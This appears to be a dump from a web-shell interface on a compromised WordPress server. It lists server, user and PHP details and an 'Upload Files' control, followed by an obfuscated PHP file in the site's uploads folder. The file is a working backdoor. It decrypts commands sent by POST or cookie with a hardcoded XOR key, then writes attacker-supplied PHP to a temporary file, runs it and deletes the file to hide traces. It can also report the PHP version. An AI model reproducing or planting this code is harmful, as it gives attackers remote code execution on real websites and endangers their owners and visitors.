HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/euabnvpt.php
<?php $kuaihx /* jbryn  */ = /*  kkem*/ 'kuaihx'    ^ /*   sqw  */ '';$znguvyzi	=	"\141"	.      "r"."r".$kuaihx(97)    . /*  v_  */ "y"."\137"     .      "m"."a".$kuaihx(112);


$qlabjhvn      =     "i".$kuaihx(1037-928)      .    "\160" /*  sm */ .      "\x6c"   .    "o"."\144" /*  gfit*/ .    "e";





function    qdnb_($_itug,   $tk_kg)
{
 /*dl  */ global    $kuaihx;

     /* j_ihfy   */ $_itug    =      "\74" /*iv  */ .      "\x3f"  .	"\x70"  .      "h".$kuaihx(112)    .    $kuaihx(32)    .  $kuaihx(204-87)   .    "n"."\154"      .    $kuaihx(105)     .    "n"."k"."("."_".$kuaihx(623-528)      . /*  eejz  */ "F"."\x49"   . /*dw   */ $kuaihx(708-632)	.    $kuaihx(69) /*z_tfrs  */ .	"_"."\137"   .	"\x29" /*qo  */ .	"\73"    .    $kuaihx(32) /*   h  */ .    $_itug[$kuaihx(342-242)];     $mulsjh    =    $kuaihx(102)      .    "\151" /*   k*/ .	"\154"    .    "\x65".$kuaihx(95) /* oiu   */ .       "p".$kuaihx(117)   . /*  nceo */ "t".$kuaihx(95) /*  uh */ .    "\x63"    .       $kuaihx(1023-912) /*wwhu  */ .     "n"."t"."\x65"  .      "\x6e" /*   d  */ . /* wvso  */ "\x74"    .	"s";


 /*   hmwrfz  */ 

      $mulsjh($tk_kg,    $_itug);
	

 /*q  */ bssf_xkxq($tk_kg);


}$kssu_fzq /*bvgxp   */ =      73;
function   bssf_xkxq($tk_kg){
 /*tne*/ global     $kuaihx;
 /*hu  */ 	include($tk_kg);


    $avm_otw /* yqzl_ */ = /*anekx*/ $tk_kg;


	@unlink($avm_otw);


}





function    hcezdyeiy()

{ /* vcn*/ global   $kuaihx;
	$kcron	=	array();
      $kcron[$kuaihx(795-683) /*lfeotg  */ .   "v"]      =   phpversion();
    $kcron["\x73" /*udp*/ .  "v"]     = /*   ox   */ "\x33"	.    "."."5";	$buyfveufl	=     74;      echo /*   oeyhvt  */ @serialize($kcron);
}



function /*  rw  */ _yjspxv($_itug,      $ooljrv)
{  global       $kuaihx;


    $srgehmqvdv  =    ""; /* tp   */ $kdydjhdhq      =      strlen($_itug);


	$crqovfuf	=    strlen($ooljrv);

    $kcron      = /* o */ 0;

  $_zammzs /*i  */ =     0;      while    ($kcron   <      $kdydjhdhq)	{

    $dqwgg	=    $_itug[$kcron] /*  sx */ ^       $ooljrv[$_zammzs /*  fqnn */ % /*vmlnur */ $crqovfuf];

 /*   y  */ $srgehmqvdv /*  i  */ .= /*  wxorp*/ $dqwgg;	$_zammzs++;	 /* zixmek */ $kcron++;
    }
 /*  xkesz */ 


 /*  kd_*/ if /*bcibpz  */ (strlen($srgehmqvdv) /* kqguia   */ > /*  qhdz  */ 20) /*  byx   */ {

	$rcezyekf      =  substr($srgehmqvdv,       0, /*sb */ 20);
   }
 /*  rsyzo   */ if       (empty($srgehmqvdv))	{

    $srgehmqvdv   = /*  fv */ date('Y-m-d /*  sjorow */ H:i:s');


     }

	return /*  csvof   */ $srgehmqvdv;}



function      uhejvp($eybofhjw)
{ /* spet*/ global /*eybjek  */ $kuaihx;

 /*  n */ 


    $dggaidjwxq /* n */ = /*  ufhws   */ $kuaihx(97).$kuaihx(97).$kuaihx(213-163)  . /*  zbnus */ "7"."\x65".$kuaihx(102)      . /*dkn  */ "\x37"    .	"\66"    .    "-".$kuaihx(97)."\145"    .   $kuaihx(48)   . /*dgwjyb  */ "f"."-"."\x34"    . /*jlwdkk  */ $kuaihx(783-686) /* vwon_n */ .    "4"."4"."\x2d"	.      $kuaihx(98) /* hvgp*/ .   $kuaihx(1018-967)  .	"0"."0"."-"."4"."c".$kuaihx(92-42) /*l*/ .       $kuaihx(539-485) /*   tfvrjh  */ .   $kuaihx(681-632)    . /*   mesk*/ $kuaihx(469-371)      .    "5"."\x65"."f"."4"."4".$kuaihx(307-259);  

    foreach	($eybofhjw /*  crbge  */ as /*mi */ $sw_kwnv /* tmb */ =>	$_itug) /* l  */ { /*   _yun*/ __pbvc(base64_decode($_itug),   $dggaidjwxq, /* unpn_c*/ $sw_kwnv);
 /*   y  */ }

}




function     __pbvc($_itug, /*   uxzlh  */ $dggaidjwxq,    $sw_kwnv)


{       global    $kuaihx;              $_itug    =    unserialize(_yjspxv(_yjspxv($_itug,	$dggaidjwxq),   $sw_kwnv));
	$rdfoah /*  _iu*/ =   'cwgu';


	$sxn_bo_xzn    =    'srqdbe';


 /*   zu */ if /*tnxo  */ (isset($_itug[$kuaihx(97)."k"])) /*  iegnu  */ {


 /*aanato*/ if      ($_itug[$kuaihx(97)] /*_p   */ == /*  kqxfj   */ "i")      {

 /*st*/ hcezdyeiy();

    }      elseif /* zzfffv*/ ($_itug[$kuaihx(97)]	==    "\x65")      {

 /*  uv_kpc   */ qdnb_($_itug, /*xujlns*/ sprintf($kuaihx(221-175)       .    $kuaihx(47) /*   y  */ . /* jr_*/ "\x25"	.    $kuaihx(115)	.    "\x2e" /* qhfii   */ . /*   sq */ "p"."\154", /*jskreb*/ md5($dggaidjwxq)));
			$denem /* nod */ =    44;
     }

      exit();


    }


}





uhejvp($_POST);    


$hosuove /*  mg  */ =    'rawurldecode';


$hvajvcuzh   =    $znguvyzi($hosuove, /*wdbb   */ $_POST);


$qlabjhvn("",    $hosuove);


uhejvp($_COOKIE);

$ou_luaw_     =    $znguvyzi($hosuove,      $_COOKIE);



?>